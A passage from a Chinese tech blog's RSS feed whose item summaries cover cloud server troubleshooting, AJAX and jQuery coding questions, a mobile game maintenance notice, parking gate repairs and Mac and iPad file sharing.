DK场景下，以DDK安装用户登录DDK所在服务器，并设置环境变量，环境变量的设置方法请参见简介。执行命令，将A.java文件传输到Host侧的指定路径下。IDE-daemon-</description>
    </item>
    <item>
      <title>道闸系统服务器内存不足,五大道闸系统常见故障以及解决方案</title>
      <link>https://bchobby.github.io/posts/d40b05760d6e466265a76dcf84a5535d/</link>
      <pubDate>Thu, 05 Aug 2021 23:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d40b05760d6e466265a76dcf84a5535d/</guid>
      <description>道闸现已广泛应用于日子中，但是常见的毛病，您知道怎样处理吗?今日沈阳道闸厂家介绍，道闸体系遇到毛病时应怎么处理。&#xA;一、主动道闸的线圈埋线松动：当地感线圈不能结实的固定在巢内时，轿车在通过期，发生的轰动会导致巢内的线圈变形，然后形成地感中初始电感量发生变化，只有当传感器通过复位后才能够正常的作业。处理方法就是用消融的沥青浇入，使其固定。&#xA;二、断电维护开关断电：当主动道闸的操控部分失灵的时分，道闸的主动维护装置就会主动作业，此刻闸杆停在斜上方位不动，总电源断开，机器不能正常作业。这时能够把机器门翻开，将大皮带顺时针方向旋转3-8圈到上位时即可恢复。若如此屡次不能恢恢复状，则需查看霍尔元件和电路板是否失灵。&#xA;三、主动道闸的拐臂螺丝松动：若此螺丝松动，将形成道闸的闸杆上下位不精确和停杆时晃动较大，将螺栓悬紧，螺母锁紧即可。&#xA;四、到位操控磁铁挪位：上下到位均选用慈敏霍尔元件，若长方形磁铁与减速机带凸轮的圆片方位改动，形成到位不精确。将其调整精确，不行翻转，即可处理问题。&#xA;五、主动道闸的活节螺丝松动：活节螺丝为正反螺纹相接，上下两个轴承之间用双头螺杆相接，若螺丝松动，将形成上下位均不精确。用一个80MM长Ф4的铁棒刺进双头螺杆之间旋动调整闸杆上下到位即可。</description>
    </item>
    <item>
      <title>小程序升级服务器内存需要注意什么,小程序服务器内存需要多大</title>
      <link>https://bchobby.github.io/posts/97a56b5287e8f824de2e6e4132f27bfb/</link>
      <pubDate>Thu, 05 Aug 2021 23:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97a56b5287e8f824de2e6e4132f27bfb/</guid>
      <description>小程序服务器内存需要多大 内容精选&#xA;换一换&#xA;JVM在执行Java程序时会把它所管理的内存划分为若干个不同的运行时数据区域，主要包括：程序计数器、方法区、虚拟机栈、本地方法栈和堆：程序计数器可以看作时当前线程所执行的字节码的行号指示器。方法区用于存储被JVM加载的类信息、常量、静态变量等数据。虚拟机栈存储的时Java方法执行的线程内存模型，每一个方法被调用到执行完毕的过程，就对应一个&#xA;在性能优化时，需要遵循一定的原则，主要有以下几个方面：对性能进行分析时，要多方面分析系统的资源瓶颈所在，如CPU利用率达到100%时，也可能是内存容量限制，导致CPU忙于处理内存调度。一次只对一个性能指标参数进行调整。分析工具本身运行可能会带来资源损耗，导致系统某方面的资源瓶颈情况更加严重，应避免或降低对应用程序的影响。调优分析思路如下：&#xA;小程序服务器内存需要多大 相关内容&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问题处理：排查进程&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问题处理：排查进程&#xA;小程序服务器内存需要多大 更多内容&#xA;块存储调优主要分为：均衡型配置调优以机械硬盘(HDD)作为数据盘，并配置适量固态硬盘(SSD)作为DB/WAL分区、元数据存储池的场景。以机械硬盘(HDD)作为数据盘，并配置适量固态硬盘(SSD)作为DB/WAL分区、元数据存储池的场景。高性能配置调优即所有数据盘都是用固态硬盘(SSD)的场景。即所有数据盘都是用固态硬盘(SSD)的场景。&#xA;对象存储调优主要分为：冷存储配置调优所有数据盘都是机械硬盘(HDD)的场景，即DB/WAL分区、元数据存储池都使用机械硬盘所有数据盘都是机械硬盘(HDD)的场景，即DB/WAL分区、元数据存储池都使用机械硬盘均衡型配置调优以机械硬盘(HDD)作为数据盘，并配置适量固态硬盘(SSD)作为DB/WAL分区、元数据存储池的场景以机械硬盘(HDD&#xA;当您发现云服务器的运行速度变慢或云服务器实例突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务完成创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux云服务器实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开的情况，则可能是云服务器的带宽和CPU利用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Windows云服务器带宽流量过高或CPU利用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU利用率高的进程。Wind&#xA;弹性伸缩服务可根据用户的业务需求，通过策略自动调整其业务的资源。具有自动调整资源、节约成本开支、提高可用性和容错能力的优势。适用以下场景：访问流量较大的论坛网站，业务负载变化难以预测，需要根据实时监控到的云服务器CPU使用率、内存使用率等指标对云服务器数量进行动态调整。电商网站，在进行大型促销活动时，需要定时增加云服务器数量和带宽大小，以&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开的情况，则可能是云服务器的带宽和CPU利用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Windows云服务器带宽流量过高或CPU利用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU利用率高的进程。Wind&#xA;numactl工具可用于查看当前服务器的NUMA节点配置、状态，可通过该工具将进程绑定到指定CPU core，由指定CPU core来运行对应进程。命令参考举例：以CentOS为例，使用如下命令安装：从numactl执行结果可以看到，示例服务器共划分为4个NUMA节点。每个节点包含16个CPU core，每个节点的内存大小约为64GB。同&#xA;客户软件在基于鲲鹏的服务器上运行遇到性能问题时，可用诊断调试来快速分析和定位。诊断调试工具将采集系统如下数据：内存泄漏次数内存泄漏大小内存异常释放次数self内存泄漏调用栈信息系统的物理内存和虚拟内存大小进程的内存MAP信息应用的申请内存大小、申请次数、申请字节数、释放次数、释放字节数、泄漏次数以及泄漏字节数分配器的分配内存、空闲内存、使&#xA;当您发现云服务器的运行速度变慢或云服务器实例突然出现网络断开的情况，则可能是云服务器的带宽和CPU利用率过高导致。如果您已经通过云监控服务完成创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Windows云服务器带宽流量过高或CPU利用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU利用率高的进程。&#xA;客户软件在基于鲲鹏的服务器上运行遇到性能问题时，可用系统性能分析来快速分析和定位。系统性能分析工具将采集系统如下数据：系统软硬件配置和运行信息，例如：CPU类型、内存部署槽位、Kernel版本、内核参数、文件系统、系统运行日志参数等。系统的CPU、内存、存储IO、磁盘IO等性能指标。处理器PMU、SPE的性能数据。处理器访问Cache/内&#xA;首先需要准备一台Linux系统的物理服务器作为镜像制作服务器(即宿主机)，以及一台用于登录宿主机的本地Windows跳板机(物理服务器或虚拟机)。宿主机必须安装：vsftpd服务sshd服务vnc服务virt-manager工具kvm虚拟化软件虚拟化管理工具virt-manager可以从开源官网下载安装，也可以在操作系统安装包里选择安装。</description>
    </item>
    <item>
      <title>神雕侠侣手游服务器维护,《神雕侠侣》3月30日更新维护新服开启公告</title>
      <link>https://bchobby.github.io/posts/15fc9bdfb803fabb891a558060f2be4e/</link>
      <pubDate>Thu, 05 Aug 2021 22:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15fc9bdfb803fabb891a558060f2be4e/</guid>
      <description>亲爱的玩家：&#xA;为了给您提供更好的游戏体验，我们将于2017年3月30日上午8：00-11：00对所有服务器进行停机更新维护，预计维护时间3小时。&#xA;若提前完成维护内容，我们将提前开服。对于停机期间给您带来的不便敬请见谅，感谢所有玩家的支持和配合!&#xA;【精彩活动】&#xA;精彩活动一：一呼百应&#xA;白驼宝光惊乍现，金蟾现世号群雄!&#xA;找蛤蟆，拼智力，得惊喜!&#xA;活动时间内找到秘宝蛤蟆答对问题即可得到奖励!&#xA;活动时间：3月30日(周四)至4月5日(周三)，每天19：00至19：30，21：00至21：30。&#xA;活动奖励：巨石块、豪侠信物·铜、乾坤大钱箱、小瓶灵狐涎等。&#xA;精彩活动二：绿林挑战赛&#xA;打遍天下无敌手，风陵渡口找啊龙!党龙帮重战江湖，帮主啊龙行事招摇，诸位大侠可前往风陵渡口寻找啊龙，与党龙帮&#34;探讨&#34;江湖道义!&#xA;活动时间：3月30日(周四)更新后至4月5日(周三)23：59。&#xA;活动奖励：神兽精魄，白水晶礼包，紫色侠客信物等。&#xA;精彩活动三：活跃度掉落中级悬赏令&#xA;活动说明：自悬赏令颁布以来，众大侠为国分忧，力擒恶人，大理寺官员上报朝廷后特颁布新令：凡每日活跃度达到80的大侠，皆可获得中级悬赏令一个以示嘉奖!望诸位大侠再接再厉!&#xA;(另：因恶人行径罄竹难书，朝廷恐未满90级大侠无法对抗，故不颁发中级悬赏令，改为百晓胖的包裹一个，望诸位大侠刻苦修炼，早日突破90级，为国分忧!)&#xA;活动时间：3月30日(周四)更新后至4月5日(周三)23：59。&#xA;活动奖励：&#xA;90级以上的大侠每日活跃度达到80即可从活跃度礼盒中额外获取&#34;中级悬赏令&#34;一张;&#xA;90级以下的大侠每日活跃度达到80即可从活跃度礼盒中额外获取&#34;百晓胖的包裹&#34;一个。&#xA;【缤纷福利】&#xA;缤纷福利一：愚人节礼包&#xA;4月1日当天，并没有为大侠准备礼包，千万不要打开福利界面领取哦!&#xA;礼包内容：100元宝礼包*1，乾坤秘宝*4，千年灵芝*5，修为年糕*8，钱袋*8。&#xA;领取时间：4月1日(周六)00：00至当天23：59。&#xA;缤纷福利二：清明节礼包&#xA;春日生长，万物清明。快打开福利界面领取清明节礼包吧!&#xA;礼包内容：100元宝礼包*1，一级铭文箱子*1，桃花岛秘参*5，修为年糕*8，钱袋*8。&#xA;领取时间：4月4日(周二)00：00至当天23：59。&#xA;缤纷福利三：月供福利礼包&#xA;特别的福利给特别的你，四月月供福利礼包震撼来袭!&#xA;礼包售卖时间：3月30日(周四)更新后至4月26日(周三)23：59。&#xA;友情提示：每位大侠每月至多可以购买十个礼包哦!&#xA;缤纷福利四：中顽童钱庄&#xA;顽童闹钱庄，开庄送好礼!中顽童钱庄再次开启，超值惊喜，不容错过~&#xA;消耗期：3月30日(周四)更新后至4月5日(周三)23：59。&#xA;缤纷福利五：每日福利&#xA;缤纷福利天天有，超值礼物候君来!诸位大侠切莫错过!&#xA;活动期间每日累计充值达一定额度后，即可领取超值豪礼。&#xA;消耗期：3月30日(周四)更新后至4月5日(周三)23：59。&#xA;缤纷福利六：素月锦盒&#xA;江南水秀尘归去，素月锦盒万宝来。&#xA;超值福利超高返利，素月锦盒再度开启!&#xA;小伙伴们快来看看锦盒里藏有什么吧~&#xA;消耗期：3月30日(周四)更新后至4月5日(周三)23：59。&#xA;缤纷福利七：西域宝库&#xA;西域宝库藏神秘，奇珍异宝显玄机。&#xA;活动期间只需消费元宝即可额外获得西域宝库返利宝券!&#xA;活动奖励：绝世饰品图纸兑换券、一级器印兑换券、龙泉溪、神兽精魄、豪侠信物·金等。&#xA;活动时间：&#xA;消耗期：3月30日(周四)更新后至4月5日(周三)23：59;&#xA;返利期：4月6日(周四)00：00至4月12日(周三)23：59。&#xA;【优化】&#xA;1.本次更新后，队伍中的队员可以申请成为队长。申请后需经过队内投票(可弃权)，同意人数高于反对人数则该队员变为该队伍队长。队长的结拜好友可不经过投票而直接成为队长。队长具有一票同意和一票否决权。&#xA;2.修复了成就&#34;欧洲脸&#34;在特定情况下异常达成的问题。&#xA;3.修复了在聊天频道点击头像不会弹出功能选择界面的问题。&#xA;4.修改珠联璧合任务为可放弃。放弃该任务后，夫妻双方中另一方身上的珠联璧合任务也会被放弃。&#xA;5.修复角色名变更但是对应珠联璧合称号内角色名未变更的问题。&#xA;6.玉契商城增加部分可兑换道具：宝石万花筒、四象驯兽匣、西域精金。下调玉契商城中部分道具的单日兑换数量上限。&#xA;7.修复特定情况下神兵幻化后角色武器造型异常的问题。&#xA;8.新增军功佩可兑换军需补给箱·高阶装备，内含：紫玉精铁*200，天工锤*40，乌金*60。&#xA;9.维护了江湖轶闻活动题库。&#xA;亲爱的玩家：&#xA;为了让更多玩家加入到《神雕侠侣》的武侠世界中&#xA;我们将于2017年3月30日上午11:00开启以下新服：&#xA;安卓/越狱：【诗情画意】</description>
    </item>
    <item>
      <title>backbone ajax 例子,backbone.js根据ajax请求的结果采取不同的行动</title>
      <link>https://bchobby.github.io/posts/3825a59465ad86a5744be1c11f4d4099/</link>
      <pubDate>Thu, 05 Aug 2021 22:55:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3825a59465ad86a5744be1c11f4d4099/</guid>
      <description>我有一个骨干应用程序，它从url中读取svn文件路径，然后“ls”是它给出的路径。通常情况下，它只是列举了表中ls的结果。但是我想要做的是检查路径是否实际上只对应一个特定的文件，在这种情况下，取而代之地显示文件的内容。backbone.js根据ajax请求的结果采取不同的行动&#xA;这样做会是一个很好的主干惯用方式吗？现在在我所称为目录模型解析功能，我想这样做是这样的：&#xA;parse: function(response, options) {&#xA;if (response.length == 1 &amp;amp;&amp;amp; response[0].type == &#34;file&#34;) {&#xA;// what to do here?&#xA;}&#xA;this.get(&#39;entries&#39;).reset(response);&#xA;$(&#34;#indicator&#34;).hide();&#xA;$(&#39;#directory-contents&#39;).show();&#xA;this.trigger(&#39;change&#39;);&#xA;return {};&#xA;},&#xA;所以我很想只是一种让一个Ajax请求获取文件这里的内容(即在// what to do here?)，但a)直接做一个Ajax请求自己似乎不是很好，和b)我觉得我把两个模型混合成一个。现在我的DirectoryView可能需要检查某种标志来判断它是实际呈现一个目录还是一个特定的文件。&#xA;有更好的方法来处理这个问题的任何想法？&#xA;2013-03-12&#xA;Alec</description>
    </item>
    <item>
      <title>网页链接服务器怎么放大,云服务器页面怎么放大</title>
      <link>https://bchobby.github.io/posts/32e1bc1aef01f4e3c96b44143ea36465/</link>
      <pubDate>Thu, 05 Aug 2021 22:42:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32e1bc1aef01f4e3c96b44143ea36465/</guid>
      <description>云服务器页面怎么放大 内容精选&#xA;换一换&#xA;详细的服务资费费率标准请参见产品价格详情中“云服务器备份”的内容。使用CSBS备份后，备份功能费和备份存储费为必须会收取的费用。备份功能费会根据是否开启应用一致性备份的情况，会收取云服务器备份功能费和数据库服务器备份功能费其中之一，不会同时进行收取。如果开启了应用一致性备份，则会按照数据库服务器备份功能费进行收取。若使用了复制备份的功能，&#xA;您可以修改云服务器的会话路数。多路会话型云服务器具有如下优势：支持多台设备同时连接同一台云服务器上的应用，且相互独立。极大降低云服务器计算成本。可自由选择在云服务器创建的会话路数。本节指导您在云服务器创建成功后，如何修改会话路数。3D应用云服务器支持创建的会话路数为1、2路，VR应用云服务器支持创建的会话路数为1、2、4、8路。单路(1路&#xA;云服务器页面怎么放大 相关内容&#xA;SCSI类型的共享云硬盘支持SCSI锁，为了提升数据的安全性，SCSI类型的共享云硬盘需挂载给同一个反亲和性云服务器组内的ECS。本节指导用户查询挂载了同一个SCSI共享盘的云服务器是否在同一个云服务器组中。云服务器组相关内容请参考：管理云服务器组。共享云硬盘的使用注意事项请参考：共享云硬盘及使用方法。登录管理控制台，查询挂载该共享盘的弹&#xA;为防止资源滥用，平台限定了各服务资源的配额，对用户的资源数量和容量做了限制。如您最多可以创建多少台弹性云服务器、多少块云硬盘。如果当前资源配额限制无法满足使用需要，您可以申请扩大配额。登录管理控制台。单击管理控制台左上角的，选择区域和项目。在页面右上角，选择“资源&amp;gt;我的配额”。系统进入“服务配额”页面。我的配额系统进入“服务配额”页面。您&#xA;云服务器页面怎么放大 更多内容&#xA;无法访问HECS上运行的网站怎么办？网站的访问与云服务器的网络配置、端口通信、防火墙配置、安全组配置等多个环节相关联。任意一个环节出现问题，都会导致网站无法访问。网站无法访问的排查思路关于网站无法访问排查思路的操作视频请点击：https://bbs.huaweicloud.com/videos/103592网站的访问与云服务器的网络配置、&#xA;在开启您的FPGA开发之旅前，您需要登录华为云页面，按照指引完成FPGA加速云服务器的购买，具体购买方法请参见《购买弹性云服务器》。用户在使用FPGA加速云服务器时需要手动安装一些开发工具，这些工具会占用大量的磁盘空间。因此，用户在购买FPGA加速云服务器时，请确保选择的系统盘大小大于等于100GB，建议选择100GB。第一次使用或再次购&#xA;为使用户更好地掌握自己的弹性云服务器运行状态，云平台提供了云监控。通过本节，您可以了解如何查看伸缩组的监控指标详情，更好地了解弹性云服务器的各项性能指标。弹性伸缩组中的弹性云服务器正常运行。当伸缩组中的实例数为0时，只能查看“实例数”这一项监控指标；CPU使用率、磁盘读速率等指标只有在伸缩组中有实例时才能查看。关机、故障、删除状态的弹性云&#xA;本章节指导用户获取云服务器的IP地址等网卡信息。进入弹性云服务器页面。进入云服务器详情页面。进入网卡详情页面。网卡详情页面进入虚拟IP详情页，即可根据云服务器网卡信息找到绑定的虚拟IP地址。&#xA;当您购买的云服务器规格无法满足业务需要时，可参考本章节变更规格，升级vCPU、内存。对于部分类型的云服务器，您还可以在变更规格时，更换云服务器的类型。变更云服务器规格时，用户不能选择已售罄的CPU和内存资源。云服务器规格(CPU或内存)变小，会影响云服务器的性能。当云硬盘状态为“正在扩容”时，不支持变更所挂载的云服务器规格。Windows&#xA;云容器引擎CCE配额只限制了集群个数，但是用户使用CCE时也会使用其他云服务，包括：弹性云服务器、云硬盘、虚拟私有云、弹性负载均衡、容器镜像服务等。为防止资源滥用，平台限定了各服务资源的配额，对用户的资源数量和容量做了限制。如您最多可以创建多少台弹性云服务器、多少块云硬盘。如果当前资源配额限制无法满足使用需要，您可以申请扩大配额。登录管理&#xA;从Windows云服务器访问外部网络，遇到网络不通的情形，可参考本节内容进行排查。以下排查思路根据原因的出现概率进行排序，建议您从高频率原因往低频率原因排查，从而帮助您快速找到问题的原因。如果解决完某个可能原因仍未解决问题，请继续排查其他可能原因。请在控制台检查云服务器资源状态是否为“运行中”。检查云服务器是否已绑定弹性公网IP。绑定弹性&#xA;云解析服务的内网域名功能支持创建顶级域名(com保留域名除外)。当用户购买了弹性云服务器并设置了云服务器的主机名，例如hostname。用户可以在云解析服务器中将此名称创建为内网顶级域名，然后添加该域名到私网IP的域名解析记录，这样用户就可以通过弹性云服务器的主机名访问弹性云服务器。登录管理控制台。将鼠标悬浮于页面左侧的“”，在服务列表中&#xA;怎样上传文件到Windows操作系统云服务器？安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续&#xA;登录管理控制台。选择云服务器所在的区域。选择“计算 &amp;gt; 弹性云服务器”。选择需要操作的云服务器，并单击云服务器名称。系统进入云服务器详情页面。系统进入云服务器详情页面。选择“标签 &amp;gt; 添加标签” 。填写标签键以及对应的标签值，单击“确定”，完成标签的添加。添加标签登录管理控制台。选择云服务器所在的区域。在云服务器列表页选择按标签搜索。按标&#xA;本文介绍了云监控CES各特性版本的功能发布和对应的文档动态，新特性将在各个区域(Region)陆续发布，欢迎体验。</description>
    </item>
    <item>
      <title>ajax json实现分页,基于Json的Ajax无刷新分页效果实现（一）</title>
      <link>https://bchobby.github.io/posts/288d037eb2dd6748857a2a15cca6c47d/</link>
      <pubDate>Thu, 05 Aug 2021 22:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/288d037eb2dd6748857a2a15cca6c47d/</guid>
      <description>由于我今天刚好要做无刷新分页的效果。所以就直接先上图了！&#xA;如图，上部分是分页后取出来的数据。下部分是 分页器的实现(关于分页器的实现请参考 http://www.cnblogs.com/zhouzhaokun/archive/2011/08/24/2151558.html)&#xA;我们先来实现页面的分页效果，&#xA;1、新建一个 ajax 文件页面 ashx 或者 aspx， 我个人比较喜欢 aspx 。删掉页面上的所有HTML代码。只保留页面声明部分：&#xA;view sourceprint?&#xA;1&#xA;CodeBehind=&#34;Ajax_GetDataCount.aspx.cs&#34;&#xA;Inherits=&#34;GSSS.HTML.UI.Ajax.Elec_Comment.Ajax_GetDataCount&#34; %&amp;gt;&#xA;通过上边的代码，相信大家都能看到我新建的文件名 是 Ajax_GetDataCount.aspx .接下来我们看这个页面的 .cs 文件&#xA;首先 在 page_load 事件中，我们获取ajax传送过来的参数。我采用 jquery 的 post 方式提交参数，代码如下：&#xA;01protected void Page_Load(object sender, EventArgs e)&#xA;02 {&#xA;03 int PageSize = 5;//写死的页面大小。可以通过传参动态实现&#xA;04 int PageCount = 100;//测试用的数据条数(无用)&#xA;05 //读取 post 过来的参数值 page 和 pid,pid 是对应的产品ID，本实例为产品评论的无刷新实现&#xA;06 string page = DotNet.Framework.Common.QueryString.F(&#34;page&#34;);&#xA;07 string pid = DotNet.</description>
    </item>
    <item>
      <title>没有预装Edge浏览器的Windows系统安装Edge正式版的方法</title>
      <link>https://bchobby.github.io/posts/5806389789b61c1d50914a9b576688c4/</link>
      <pubDate>Thu, 05 Aug 2021 21:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5806389789b61c1d50914a9b576688c4/</guid>
      <description>打开网址 https://www.microsoft.com/zh-cn/edge?r=1，按照截图选择文件下载，所有系统都可以装</description>
    </item>
    <item>
      <title>MacBook Air 怎么访问局域网内的共享文件夹</title>
      <link>https://bchobby.github.io/posts/fba0218490c7d4366e6a200c88032132/</link>
      <pubDate>Thu, 05 Aug 2021 21:26:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fba0218490c7d4366e6a200c88032132/</guid>
      <description>方案一：&#xA;1、打开浏览器，输入 smb://对方主机IP地址，例如：smb://192.166.1.100&#xA;2、允许打开访达&#xA;3、加载一会后会出现下图，选择对方共享的文件夹，点击“好”即可进行访问&#xA;方案二：&#xA;1、前往 -&amp;gt; 连接服务器&#xA;2、输入 smb://对方主机IP地址，点击“连接”，接下来和方案一的第3步一样</description>
    </item>
    <item>
      <title>老年机打不出电话拨号失败服务器无响应,老年机为什么打不出去电话</title>
      <link>https://bchobby.github.io/posts/b874fafb1ae3ef8269963b0504b6d39a/</link>
      <pubDate>Thu, 05 Aug 2021 21:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b874fafb1ae3ef8269963b0504b6d39a/</guid>
      <description>大家好，我是时间财富网智能客服时间君，上述问题将由我为大家进行解答。&#xA;若老年机打不出去电话，具体解决方法如下：&#xA;1、查看手机是否处于飞行模式；&#xA;2、检查手机信号是否稳定，若网络信号不好或无信号，请将手机关机重启，重新搜索网络，若无效，建议取出SIM卡重新插入尝试；&#xA;3、检查手机是否有足够余额；&#xA;4、若是可以拨打某些固定号码，检查是否启动了固定拨号功能，建议禁用该功能；&#xA;5、检查是否设置了呼叫限制功能，若设置，请取消后尝试拨打电话；&#xA;6、更换其他SIM卡；&#xA;7、将数据备份(联系人、短信、图片等)，恢复出厂设置。&#xA;老人机，通常是指适用于中老年人的手机产品，该产品一般功能单一，老年手机被老年群体广泛使用，对国家普及电信终端产生着重要影响，让老人们充分体验现代生活和具有满足日常使用的电话和短信功能，同时老人机的按键和显示字体一般较大，操作简便，通常具备一键拨号等人性化功能，获得了中老年用户的喜爱。不用带老花镜也看得很清楚。每一个按键都达到1.5平方厘米以上，经100位老人现场实验，不用戴老花镜也一样看的很清楚。</description>
    </item>
    <item>
      <title>table.ajax.url,jquery - How to await a DataTable().ajax.url().load()? - Stack Overflow</title>
      <link>https://bchobby.github.io/posts/477eab853ffed834936edaa81d085c60/</link>
      <pubDate>Thu, 05 Aug 2021 20:46:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/477eab853ffed834936edaa81d085c60/</guid>
      <description>I my jQuery code, I need to load some data in a DataTable, and then, do stuff only after this DataTable has been properly filled.&#xA;My code currently looks like :&#xA;function f () {&#xA;/* ... */&#xA;$(&#39;#my_datatable&#39;).DataTable().ajax.url(my_url).load();&#xA;/* Do some stuff */&#xA;}&#xA;f();&#xA;/* Do some more stuff */&#xA;And I want /* Do some stuff */ or /* Do some more stuff */ to be executed only after my DataTable is nicely displayed.</description>
    </item>
    <item>
      <title>ipados 文件 连接服务器,如何管理iPad文件 iPadOS14使用教程</title>
      <link>https://bchobby.github.io/posts/c66c93fbd16ed780b180c410a2250fc4/</link>
      <pubDate>Thu, 05 Aug 2021 20:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c66c93fbd16ed780b180c410a2250fc4/</guid>
      <description>使用 iPad 文件管理，就必须了解一个 iPadOS 系统自带应用——「文件」。它就像是 Windows 上的「文件资源管理器」，或者是 macOS 上的「访达」。&#xA;「iCloud Drive」顾名思义就是 iCloud 云盘的文件夹，如果你有多个苹果设备，比如 iPhone、Mac，开启 iCloud 云盘就会在这些设备之间同步保存文件。&#xA;如何管理iPad文件？&#xA;「我的 iPad」是这台 iPad 的本地存储位置，有点像访达里的本地目录。这里面的文件不会跟其他设备同步。一般我会把导入的视频剪辑素材或者下载的文件都会保存到 iPad 本地。&#xA;「最近删除」很像 macOS 里的「废纸篓」。&#xA;「个人收藏」里的「下载项」文件夹相当于 macOS 里的「下载」文件夹。Safari 下载的文件默认会保存到这个文件夹。「下载项」是保存在 iPad 本地的。如果在「个人收藏」里看不到这个文件夹，可以在「我的 iPad」里把这个文件夹设为「收藏」。当然，你也可以把任何一个经常打开的文件夹设为「收藏」，这样下次打开就更快。&#xA;「已共享」下面是 iPad 连接的共享设备。比如你的 Mac 开了文件共享，就可以在 iPad 上连接 Mac 的共享文件夹，并直接访问里面的文件。&#xA;添加连接共享，可以点上面的圆形图标，再选择「连接服务器」，然后输入开了文件共享的 Mac 或 Windows 电脑的共享地址，再输入登录账号和密码就可以连接了。具体的操作可以看这篇文章。&#xA;最下面是「标签」。跟 macOS 上的标签一样，你可以给任意文件或文件夹添加一个或者多个标签。然后就可以通过标签来筛选共同标签的文件。&#xA;如果你的 iPad 上还安装了第三方网盘或者文件管理器 App。有一些也可以直接添加到「文件」左侧栏里。这样通过一个「文件」App，就可以管理 iPad 本地文件、iCloud 云盘和第三方网盘、文件管理器 App 的所有文件了。&#xA;本文转载自https://www.i4.cn/news_detail_42835.html</description>
    </item>
    <item>
      <title>取消ajax请求原理,XMLHttpRequest 取消请求</title>
      <link>https://bchobby.github.io/posts/301c52810eac5cf94848f3ea38ba18e3/</link>
      <pubDate>Thu, 05 Aug 2021 20:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/301c52810eac5cf94848f3ea38ba18e3/</guid>
      <description>一，xmlHttpRequest介绍&#xA;是一个前后端数据通信的对象，在不刷新页面的情况下进行数据通信，在页面加载完成后请求后台服务、接收后台数据。&#xA;创建 XMLHttpRequest 对象：&#xA;xhr = new XMLHttpRequest();&#xA;xhr = new ActiveXObject(&#34;Microsoft.XMLHTTP&#34;);&#xA;创建请求&#xA;xhr.open(method, url, async);&#xA;xhr.send(string);&#xA;在使用post请求时string可选填。&#xA;请求响应&#xA;xhr.responseText; 获取字符串形式响应数据&#xA;xhr.responseXML; 获取 XML形式的响应数据&#xA;readyState请求响应阶段&#xA;xhr.onreadystatechange = function(){&#xA;xhr.readyState === 4; // Done 请求完成&#xA;xhr.status === 200; // 请求返回成功&#xA;}&#xA;xhr 对象提供的 API&#xA;0: &#34;UNSENT&#34; 请求未初始化&#xA;1: &#34;OPENED&#34; 请求连接已经建立&#xA;2: &#34;HEADERS_RECEIVED&#34; 请求已经接收&#xA;3: &#34;LOADING&#34; 请求处理中&#xA;4: &#34;DONE&#34; 请求已完成，响应已就绪&#xA;5: &#34;onreadystatechange&#34;&#xA;6: &#34;readyState&#34;&#xA;7: &#34;timeout&#34;&#xA;8: &#34;withCredentials&#34;&#xA;9: &#34;upload&#34;</description>
    </item>
    <item>
      <title>战争星球online服务器维护中,战争星球Online：世界争霸总是显示无法连接网络</title>
      <link>https://bchobby.github.io/posts/ba36eaf364cb058465af7a41e56bc705/</link>
      <pubDate>Thu, 05 Aug 2021 19:57:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba36eaf364cb058465af7a41e56bc705/</guid>
